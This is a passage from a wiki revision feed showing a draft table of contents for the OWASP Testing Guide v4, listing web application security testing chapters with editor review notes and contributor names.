[[Testing for Privilege escalation  (OWASP-AZ-003)|4.6.4 Testing for Privilege Escalation (OTG-AUTHZ-004)]] formerly &amp;quot;Testing for Privilege Escalation  (OWASP-AZ-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Direct Object References (OWASP-AZ-004)|4.6.5 Testing for Insecure Direct Object References (OTG-AUTHZ-005)]] formerly &amp;quot;Testing for Insecure Direct Object References (OWASP-AZ-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)|4.6.6 Testing for Failure to Restrict access to authorized resource (OTG-AUTHZ-006)]] formerly &amp;quot;Testing for Failure to Restrict access to authorized resource (OWASP-AZ-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test privileges of server components (OTG-AUTHZ-007)|4.6.7 Test privileges of server components (OTG-AUTHZ-007)]] (e.g. indexing service, reporting interface, file generator)&lt;br /&gt;
&lt;br /&gt;
[[Test enforcement of application entry points (OTG-AUTHZ-008)|4.6.8 Test enforcement of application entry points (OTG-AUTHZ-008)]] (including exposure of objects)&lt;br /&gt;
&lt;br /&gt;
[[Testing for failure to restrict access to authenticated resource(OWASP-AT-010)|4.6.9 Testing for failure to restrict access to authenticated resource (OTG-AUTHZ-009)]] formerly &amp;quot;Testing for failure to restrict access to authenticated resource (OWASP-AT-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Management|'''4.7 Session Management Testing''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session_Management_Schema (OWASP-SM-001)|4.7.1 Testing for Bypassing Session Management Schema (OTG-SESS-001)]] formerly &amp;quot;Testing for Bypassing Session Management Schema (OWASP-SM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for cookies attributes  (OWASP-SM-002)|4.7.2 Testing for Cookies attributes (OTG-SESS-002)]] formerly &amp;quot;Testing for Cookies attributes (OWASP-SM-002)&amp;quot; (Cookies are set not ‘HTTP Only’, ‘Secure’,  and no time validity)&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session Fixation  (OWASP-SM-003)|4.7.3 Testing for Session Fixation (OTG-SESS-003)]] formerly &amp;quot;Testing for Session Fixation  (OWASP-SM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Exposed Session Variables  (OWASP-SM-004)|4.7.4 Testing for Exposed Session Variables (OTG-SESS-004)]] formerly &amp;quot;Testing for Exposed Session Variables (OWASP-SM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for CSRF  (OWASP-SM-005)|4.7.5 Testing for Cross Site Request Forgery (CSRF) (OTG-SESS-005)]] formerly &amp;quot;Testing for Cross Site Request Forgery (CSRF) (OWASP-SM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test Session Token Strength (OTG-SESS-006)|4.7.6 Test Session Token Strength (OTG-SESS-006)]]&lt;br /&gt;
 &lt;br /&gt;
[[Testing for logout functionality (OWASP-SM-007)|4.7.7 Testing for logout functionality (OTG-SESS-007)]] formerly &amp;quot;Testing for logout functionality (OWASP-SM-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Session puzzling (OWASP-SM-008)|4.7.8 Testing for Session puzzling (OWASP-SM-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Session Timeout (OTG-SESS-008)|4.7.8 Test Session Timeout (OTG-SESS-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Test multiple concurrent sessions (OTG-SESS-009)|4.7.9 Test multiple concurrent sessions (OTG-SESS-009)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for Data Validation|'''4.8 Data Validation Testing''']] &lt;br /&gt;
&lt;br /&gt;
[[Testing for Reflected Cross site scripting (OWASP-DV-001) |4.8.1 Testing for Reflected Cross Site Scripting (OTG-INPVAL-001)]] formerly &amp;quot;Testing for Reflected Cross Site Scripting (OWASP-DV-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stored Cross site scripting (OWASP-DV-002) |4.8.2 Testing for Stored Cross Site Scripting (OTG-INPVAL-002)]] formerly &amp;quot;Testing for Stored Cross Site Scripting (OWASP-DV-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Verb Tampering (OWASP-DV-003)|4.8.3 Testing for HTTP Verb Tampering (OTG-INPVAL-003)]] formerly &amp;quot;Testing for HTTP Verb Tampering (OWASP-DV-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Parameter pollution (OWASP-DV-004)|4.8.4 Testing for HTTP Parameter pollution (OTG-INPVAL-004) ]] formerly &amp;quot;Testing for HTTP Parameter pollution (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)|4.8.5 Testing for Unvalidated Redirects and Forwards (OTG-INPVAL-005) ]] formerly &amp;quot;Testing for Unvalidated Redirects and Forwards (OWASP-DV-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Injection (OWASP-DV-005)| 4.8.6 Testing for SQL Injection (OTG-INPVAL-006)]] formerly &amp;quot;Testing for SQL Injection (OWASP-DV-005)&amp;quot; '''Ready to be reviewed'''&lt;br /&gt;
&lt;br /&gt;
[[Testing for Oracle|4.8.6.1 Oracle Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MySQL|4.8.6.2 MySQL Testing [Ismael Gonçalves]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for SQL Server|4.8.6.3 SQL Server Testing]]&lt;br /&gt;
&lt;br /&gt;
[[OWASP_Backend_Security_Project_Testing_PostgreSQL|4.8.6.4 Testing PostgreSQL (from OWASP BSP) ]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for MS Access |4.8.6.5 MS Access Testing]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for NoSQL injection|4.8.6.6 Testing for NoSQL injection [New!]]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for LDAP Injection  (OWASP-DV-006)|4.8.7 Testing for LDAP Injection  (OTG-INPVAL-007)]] formerly &amp;quot;Testing for LDAP Injection  (OWASP-DV-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for ORM Injection   (OWASP-DV-007)|4.8.8 Testing for ORM Injection   (OTG-INPVAL-008)]] formerly &amp;quot;Testing for ORM Injection   (OWASP-DV-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XML Injection (OWASP-DV-008)|4.8.9 Testing for XML Injection (OTG-INPVAL-009)]] formerly &amp;quot;Testing for XML Injection (OWASP-DV-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for SSI Injection  (OWASP-DV-009)|4.8.10 Testing for SSI Injection  (OTG-INPVAL-010)]] formerly &amp;quot;Testing for SSI Injection  (OWASP-DV-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for XPath Injection  (OWASP-DV-010)|4.8.11 Testing for XPath Injection  (OTG-INPVAL-011)]] formerly &amp;quot;Testing for XPath Injection  (OWASP-DV-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for IMAP/SMTP Injection  (OWASP-DV-011)|4.8.12 IMAP/SMTP Injection  (OTG-INPVAL-012)]] formerly &amp;quot;IMAP/SMTP Injection  (OWASP-DV-011)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Code Injection  (OWASP-DV-012)|4.8.13 Testing for Code Injection  (OTG-INPVAL-013)]] formerly &amp;quot;Testing for Code Injection  (OWASP-DV-012)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Local File Inclusion|4.8.13.1 Testing for Local File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Remote File Inclusion|4.8.13.2 Testing for Remote File Inclusion]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Command Injection   (OWASP-DV-013)|4.8.14 Testing for Command Injection   (OTG-INPVAL-014)]] formerly &amp;quot;Testing for Command Injection   (OWASP-DV-013)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Buffer Overflow (OWASP-DV-014)|4.8.15 Testing for Buffer overflow (OTG-INPVAL-015)]] formerly &amp;quot;Testing for Buffer overflow (OWASP-DV-014)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Heap Overflow|4.8.15.1 Testing for Heap overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Overflow|4.8.15.2 Testing for Stack overflow]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Format String|4.8.15.3 Testing for Format string]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Incubated Vulnerability (OWASP-DV-015)|4.8.16 Testing for incubated vulnerabilities (OTG-INPVAL-016)]] formerly &amp;quot;Testing for incubated vulnerabilities (OWASP-DV-015)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)|4.8.17 Testing for HTTP Splitting/Smuggling  (OTG-INPVAL-017) ]] formerly &amp;quot;Testing for HTTP Splitting/Smuggling  (OWASP-DV-016)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Error Handling|'''4.9 Error Handling''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.9.1 Analysis of Error Codes (OTG-ERR-001)]] formerly &amp;quot;Analysis of Error Codes (OWASP-IG-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Stack Traces (OWASP-IG-XXX)|4.9.2 Analysis of Stack Traces (OTG-ERR-002)]] formerly &amp;quot;Analysis of Stack Traces&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Cryptography|'''4.10 Cryptography''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure encryption usage (OWASP-EN-001)| 4.10.1  Testing for Insecure encryption usage (OTG-CRYPST-001)]] formerly &amp;quot;Testing for Insecure encryption usage (OWASP-EN-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)| 4.10.2 Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-002)]] formerly &amp;quot;Testing for Weak SSL/TSL Ciphers, Insufficient Transport Layer Protection (OWASP-EN-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Padding Oracle (OWASP-EN-003)| 4.10.3 Testing for Padding Oracle (OTG-CRYPST-003)]] formerly &amp;quot;Testing for Padding Oracle (OWASP-EN-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cacheable HTTPS Response (OTG-CRYPST-004)| 4.10.4 Testing for Cacheable HTTPS Response (OTG-CRYPST-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cache Directives (OTG-CRYPST-005)|4.10.5 Test Cache Directives (OTG-CRYPST-005)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)|4.10.6 Testing for Insecure Cryptographic Storage (OTG-CRYPST-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)|4.10.7 Testing for Sensitive information sent via unencrypted channels (OTG-CRYPST-007)]]&lt;br /&gt;
&lt;br /&gt;
[[Test Cryptographic Key Management (OTG-CRYPST-008)|4.10.8 Test Cryptographic Key Management (OTG-CRYPST-008)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Logging|'''4.11 Logging''']] Not convinced Logging should be included as it requires access to logs to test&lt;br /&gt;
&lt;br /&gt;
[[Test time synchronisation (OTG-LOG-001)|4.11.1 Test time synchronisation (OTG-LOG-001) ]] formerly &amp;quot;Incorrect time&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Test user-viewable log of authentication events (OTG-LOG-002)|4.11.2 Test user-viewable log of authentication events (OTG-LOG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for business logic   (OWASP-BL-001)|'''4.12 Business Logic Testing  (OWASP-BL-001)''']] [To review--&amp;gt; David Fern]&lt;br /&gt;
Business Logic&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test business logic data validation (OTG-BUSLOGIC-001)|4.12.1 Test business logic data validation (OTG-BUSLOGIC-001)]] [New!] NOTE MAT: to discuss this section&lt;br /&gt;
&lt;br /&gt;
[[Test Ability to forge requests (OTG-BUSLOGIC-002)|4.12.2 Test Ability to forge requests (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test integrity checks (OTG-BUSLOGIC-003)|4.12.3 Test integrity checks (OTG-BUSLOGIC-003)]] (e.g. overwriting updates) [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test tamper evidence (OTG-BUSLOGIC-004)|4.12.4 Test tamper evidence (OTG-BUSLOGIC-004)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)|4.12.5 Test excessive rate (speed) of use limits (OTG-BUSLOGIC-005)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test size of request limits (OTG-BUSLOGIC-006)|4.12.6 Test size of request limits (OTG-BUSLOGIC-006)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test number of times a function can be used limits (OTG-BUSLOGIC-007)|4.12.7 Test number of times a function can be used limits (OTG-BUSLOGIC-002)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test bypass of correct sequence (OTG-BUSLOGIC-008)|4.12.8 Test bypass of correct sequence (OTG-BUSLOGIC-008)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)|4.12.9 Test self-hosted payment cardholder data processing (OTG-BUSLOGIC-009)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test security incident reporting information (OTG-BUSLOGIC-010)|4.12.10 Test security incident reporting information (OTG-BUSLOGIC-010)]] [New!]&lt;br /&gt;
&lt;br /&gt;
[[Test defenses against application mis-use (OTG-BUSLOGIC-011)|4.12.11 Test defenses against application mis-use (OTG-BUSLOGIC-011)]] [New!]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Denial of Service|'''4.13 Denial of Service''']]&lt;br /&gt;
&lt;br /&gt;
[[Test Regular expression DoS (OTG-DOS-001)| 4.13.1 Test Regular expression DoS (OTG-DOS-001)]] [New!] note: to understand better&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Test XML DoS (OTG-DOS-002)| 4.13.2 Test XML DoS (OTG-DOS-002)]] [New! - Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Captcha (OWASP-AT-012)|4.13.3 Testing for CAPTCHA (OTG-DOS-003)]] formerly &amp;quot;Testing for CAPTCHA (OWASP-AT-012)&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Web Service (XML Interpreter)|'''4.14 Web Service Testing''']] [Tom Eston] &lt;br /&gt;
&lt;br /&gt;
[[Scoping a Web Service Test (OWASP-WS-001)|4.14.1 Scoping a Web Service Test (OTG-WEBSVC-001)]] formerly &amp;quot;Scoping a Web Service Test (OWASP-WS-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Information Gathering (OWASP-WS-002)|4.14.2 WS Information Gathering (OTG-WEBSVC-002)]] formerly &amp;quot;WS Information Gathering (OWASP-WS-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Authentication Testing (OWASP-WS-003)|4.14.3 WS Authentication Testing (OTG-WEBSVC-003)]] formerly &amp;quot;WS Authentication Testing (OWASP-WS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Management Interface Testing (OWASP-WS-004)|4.14.4 WS Management Interface Testing (OTG-WEBSVC-004)]] formerly &amp;quot;WS Management Interface Testing (OWASP-WS-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Weak XML Structure Testing (OWASP-WS-005)|4.14.5 Weak XML Structure Testing (OTG-WEBSVC-005)]] formerly &amp;quot;Weak XML Structure Testing (OWASP-WS-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[XML Content-Level Testing (OWASP-WS-006)|4.14.6 XML Content-Level Testing (OTG-WEBSVC-006)]] formerly &amp;quot;XML Content-Level Testing (OWASP-WS-006)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS HTTP GET Parameters/REST Testing (OWASP-WS-007)|4.14.7 WS HTTP GET Parameters/REST Testing (OTG-WEBSVC-007)]] formerly &amp;quot;WS HTTP GET Parameters/REST Testing (OWASP-WS-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Naughty SOAP Attachment Testing (OWASP-WS-008)|4.14.8 WS Naughty SOAP Attachment Testing (OTG-WEBSVC-008)]] formerly &amp;quot;WS Naughty SOAP Attachment Testing (OWASP-WS-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS Replay/MiTM Testing (OWASP-WS-009)|4.14.9 WS Replay/MiTM Testing (OTG-WEBSVC-009)]] formerly &amp;quot;WS Replay/MiTM Testing (OWASP-WS-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[WS BEPL Testing (OWASP-WS-010)|4.14.10 WS BEPL Testing (OTG-WEBSVC-010)]] formerly &amp;quot;WS BEPL Testing (OWASP-WS-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Client Side Testing|'''4.15 Client Side Testing''']] [New!] &lt;br /&gt;
&lt;br /&gt;
[[Testing for DOM-based Cross site scripting  (OWASP-DV-003)|4.15.1 Testing for DOM based Cross Site Scripting  (OTG-CLIENT-001)]] formerly &amp;quot;Testing for DOM based Cross Site Scripting  (OWASP-CS-001)&amp;quot; [Stefano Di Paola]&lt;br /&gt;
&lt;br /&gt;
[[Testing Cross Origin Resource Sharing (OWASP CS-002)|4.15.2 Testing Cross Origin Resource Sharing  (OTG-CLIENT-002)]] formerly &amp;quot;Testing for HTML5 (OWASP CS-002)&amp;quot; [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Cross site flashing (OWASP-DV-004)|4.15.3 Testing for Cross Site Flashing   (OTG-CLIENT-003)]] formerly &amp;quot;Testing for Cross Site Flashing   (OWASP-CS-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Clickjacking (OWASP-CS-004)|4.15.4 Testing for Clickjacking (OTG-CLIENT-004)]] formerly &amp;quot;Testing for Clickjacking (OWASP-CS-004)&amp;quot; [Davide Danelon]&lt;br /&gt;
&lt;br /&gt;
[[Testing WebSockets|4.15.5 WebSocket Testing (OTG-CLIENT-005)]] [Ryan Dewhurst]&lt;br /&gt;
&lt;br /&gt;
[[Testing Web Messaging (OWASP CS-006)|4.15.6 Testing Web Messaging (OTG-CLIENT-006)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Local Storage (OWASP CS-007)|4.15.7 Testing Local Storage (OTG-CLIENT-007)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
[[Testing Sandboxed Iframes (OWASP CS-008)|4.15.8 Testing Sandboxed Iframes (OTG-CLIENT-008)]] [Juan Galiana]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Writing Reports: value the real risk |5. Writing Reports: value the real risk ]]==&lt;br /&gt;
&lt;br /&gt;
[[How to value the real risk |5.1 How to value the real risk]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
[[How to write the report of the testing |5.2 How to write the report of the testing]] [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[Appendix A: Testing Tools |Appendix A: Testing Tools ]]==&lt;br /&gt;
&lt;br /&gt;
* Black Box Testing Tools [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix B: Suggested Reading | Appendix B: Suggested Reading]]==&lt;br /&gt;
* Whitepapers [To review--&amp;gt; David Fern]&lt;br /&gt;
* Books [To review--&amp;gt; David Fern]&lt;br /&gt;
* Useful Websites [To review--&amp;gt; David Fern]&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix C: Fuzz Vectors | Appendix C: Fuzz Vectors]]==&lt;br /&gt;
&lt;br /&gt;
* Fuzz Categories [To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[OWASP Testing Guide Appendix D: Encoded Injection | Appendix D: Encoded Injection]]==&lt;br /&gt;
&lt;br /&gt;
[To review--&amp;gt; Amro AlOlaqi]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Testing Project]]&lt;/div&gt;</summary>
		<author><name>Jgaliana</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157949</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=157949"/>
				<updated>2013-09-05T13:38:38Z</updated>
		
		<summary type="html">&lt;p&gt;Jgaliana: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 15th February 2013'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by Eoin Keary]]== &lt;br /&gt;
[To review--&amp;gt; Eoin Keary -&amp;gt; Done!!]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.1 Conduct Search Engine Discovery and Reconnaissance for Information Leakage (OTG-INFO-001) ]] formerly &amp;quot;Search Engine Discovery/Reconnaissance (OWASP-IG-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Server (OTG-INFO-002)|4.2.2 Fingerprint Web Server (OTG-INFO-002) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.3 Review Webserver Metafiles for Information Leakage (OTG-INFO-003) ]] formerly &amp;quot;Spiders, Robots and Crawlers (OWASP-IG-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.4 Enumerate Applications on Webserver (OTG-INFO-004) ]] formerly &amp;quot;Application Discovery (OWASP-IG-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.5 Review Webpage Comments and Metadata for Information Leakage (OTG-INFO-005) ]] formerly &amp;quot;Review webpage comments and metadata(OWASP-IG-007)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.6 Identify application entry points (OTG-INFO-006) ]] formerly &amp;quot;Identify application entry points (OWASP-IG-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.7 Identify application exit/handover points (OTG-INFO-007) ]] formerly &amp;quot;Identify application exit/handover points (OWASP-IG-008)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.8 Map execution paths through application (OTG-INFO-008)]] formerly &amp;quot;Map execution paths through application (OWASP-IG-009)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Fingerprint Web Application Framework (OTG-INFO-009)|4.2.9 Fingerprint Web Application Framework (OTG-INFO-009) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application (OTG-INFO-011)|4.2.10 Fingerprint Web Application (OTG-INFO-010) ]] formerly &amp;quot;Testing for Web Application Fingerprint (OWASP-IG-010)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Map Network and Application Architecture (OTG-INFO-012)|4.2.11 Map Network and Application Architecture (OTG-INFO-011) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing for configuration management|'''4.3 Configuration and Deploy Management Testing ''']]&lt;br /&gt;
&lt;br /&gt;
[[Testing for infrastructure configuration management (OWASP-CM-003)|4.3.1 Test Network/Infrastructure Configuration (OTG-CONFIG-001) ]] formerly &amp;quot;Testing for Infrastructure Configuration Management Testing weakness (OWASP-CM-001)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for application configuration management (OWASP-CM-004)|4.3.2 Test Application Platform Configuration (OTG-CONFIG-002) ]] formerly &amp;quot;Testing for Application Configuration Management weakness (OWASP-CM-002)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for file extensions handling  (OWASP-CM-005)|4.3.3 Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003) ]] formerly &amp;quot;Testing for File Extensions Handling  (OWASP-CM-003)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|4.3.4 Review Old, Backup and Unreferenced Files for Sensitive Information (OTG-CONFIG-004) ]] formerly &amp;quot;Old, Backup and Unreferenced Files (OWASP-CM-004)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for Admin Interfaces  (OWASP-CM-007)|4.3.5 Enumerate Infrastructure and Application Admin Interfaces (OTG-CONFIG-005) ]] formerly &amp;quot;Infrastructure and Application Admin Interfaces  (OWASP-CM-005)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[[Testing for HTTP Methods and XST  (OWASP-CM-008)|4.3.6 Test HTTP Methods (OTG-CONFIG-006) ]] formerly &amp;quot;Testing for Bad HTTP Methods (OWASP-CM-006)&amp;quot;&lt;br /&gt;
